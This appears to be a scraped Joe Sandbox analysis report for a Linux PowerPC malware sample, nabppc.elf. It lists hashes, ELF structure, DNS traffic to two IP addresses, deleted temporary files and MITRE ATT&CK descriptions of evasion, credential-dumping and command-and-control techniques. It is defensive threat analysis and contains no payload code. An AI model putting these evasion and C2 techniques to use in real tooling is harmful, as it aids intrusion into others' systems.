SHA1:	2e4d42eafefe6727404bb61cbcbfe8f8210a277b
SHA256:	e1fc4d2626c4942063a8ebdc13afb551b8127c84d1c3df06c78d71824139b444
SHA512:	7c3b10fc283adf2a56358b159201d39e6093e856a66bfe8d9cdfaadf43ecd582d394724724a4b4372aad16767ceaef1701c539a8af23e9de14aba361266736e1
SSDEEP:	768:ibKqsXt1PIJCnV83QqV0VRRFWXDzzQbwSg3PhTNbZCrfxv1iGb1o3x5F9nBcZT3U:JXt10CnV83PV0VRRFWXDz8bwSg3PhTNx
TLSH:	60134C4173088817D2571DB0693F1BE1E3AF9E6061A0A3C7F91DB78E81B6E329547E9C
File Content Preview:	.ELF...........................4.........4. ...(.......................t...t...........................x............dt.Q.............................!..\|......$H...H......$8!. \|...N.. .!..\|.......?.............../...@..\?........+../...A..$8...})......N..

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	PowerPC
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x100001f0
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	41416
Section Header Size:	40
Number of Section Headers:	13
Header String Table Index:	12

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10000094	0x94	0x24	0x0	0x6	AX	4
.text	PROGBITS	0x100000b8	0xb8	0x8e5c	0x0	0x6	AX	4
.fini	PROGBITS	0x10008f14	0x8f14	0x20	0x0	0x6	AX	4
.rodata	PROGBITS	0x10008f34	0x8f34	0xf40	0x0	0x2	A	4
.ctors	PROGBITS	0x1001a000	0xa000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1001a008	0xa008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1001a010	0xa010	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1001a018	0xa018	0x148	0x0	0x3	WA	8
.sdata	PROGBITS	0x1001a160	0xa160	0x18	0x0	0x3	WA	4
.sbss	NOBITS	0x1001a178	0xa178	0x6c	0x0	0x3	WA	4
.bss	NOBITS	0x1001a1e4	0xa178	0x112c	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xa178	0x50	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000000	0x10000000	0x9e74	0x9e74	6.2996	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xa000	0x1001a000	0x1001a000	0x178	0x1310	0.7236	0x6	RW	0x10000	.ctors .dtors .jcr .data .sdata .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 27, 2024 00:56:42.675200939 CET	43178	53	192.168.2.23	202.61.197.122
Nov 27, 2024 00:56:42.937715054 CET	53	43178	202.61.197.122	192.168.2.23
Nov 27, 2024 00:56:54.479223967 CET	45510	53	192.168.2.23	81.169.136.222
Nov 27, 2024 00:56:54.720220089 CET	53	45510	81.169.136.222	192.168.2.23
Nov 27, 2024 00:57:06.934192896 CET	54634	53	192.168.2.23	81.169.136.222
Nov 27, 2024 00:57:07.174240112 CET	53	54634	81.169.136.222	192.168.2.23
Nov 27, 2024 00:57:19.390671015 CET	50717	53	192.168.2.23	81.169.136.222
Nov 27, 2024 00:57:19.629897118 CET	53	50717	81.169.136.222	192.168.2.23

Start time (UTC):	23:56:35
Start date (UTC):	26/11/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	23:56:40
Start date (UTC):	26/11/2024
Path:	/tmp/nabppc.elf
Arguments:	/tmp/nabppc.elf
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nabppc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0H41Mm (deleted)

/tmp/qemu-open.1Emx8k (deleted)

/tmp/qemu-open.1OO9Jn (deleted)

/tmp/qemu-open.2S7dnp (deleted)

/tmp/qemu-open.2TCOEn (deleted)

/tmp/qemu-open.2xoapl (deleted)

/tmp/qemu-open.36es1l (deleted)

/tmp/qemu-open.3JGA9k (deleted)

/tmp/qemu-open.427WTo (deleted)

/tmp/qemu-open.4SAnal (deleted)

/tmp/qemu-open.4sRyuo (deleted)

/tmp/qemu-open.61GfNl (deleted)

/tmp/qemu-open.6Xit7m (deleted)

/tmp/qemu-open.74dLGp (deleted)

/tmp/qemu-open.76E6Vm (deleted)

/tmp/qemu-open.7THvyl (deleted)

/tmp/qemu-open.7ZsqIm (deleted)

/tmp/qemu-open.7qjfVo (deleted)

/tmp/qemu-open.8MUXWm (deleted)

/tmp/qemu-open.8cVPTl (deleted)

/tmp/qemu-open.8xhTll (deleted)

/tmp/qemu-open.9SEwHo (deleted)

/tmp/qemu-open.9bHs8m (deleted)

/tmp/qemu-open.9qO6nn (deleted)

/tmp/qemu-open.9xH30n (deleted)

/tmp/qemu-open.B0nL8o (deleted)

/tmp/qemu-open.B47vvp (deleted)

/tmp/qemu-open.B56e5o (deleted)

/tmp/qemu-open.BKb1nl (deleted)

/tmp/qemu-open.BT6sEo (deleted)

/tmp/qemu-open.BnjZgm (deleted)

/tmp/qemu-open.C1myqm (deleted)

/tmp/qemu-open.C4bhBo (deleted)

Linux Analysis Report
nabppc.elf

Start time (UTC):	23:56:41
Start date (UTC):	26/11/2024
Path:	/tmp/nabppc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre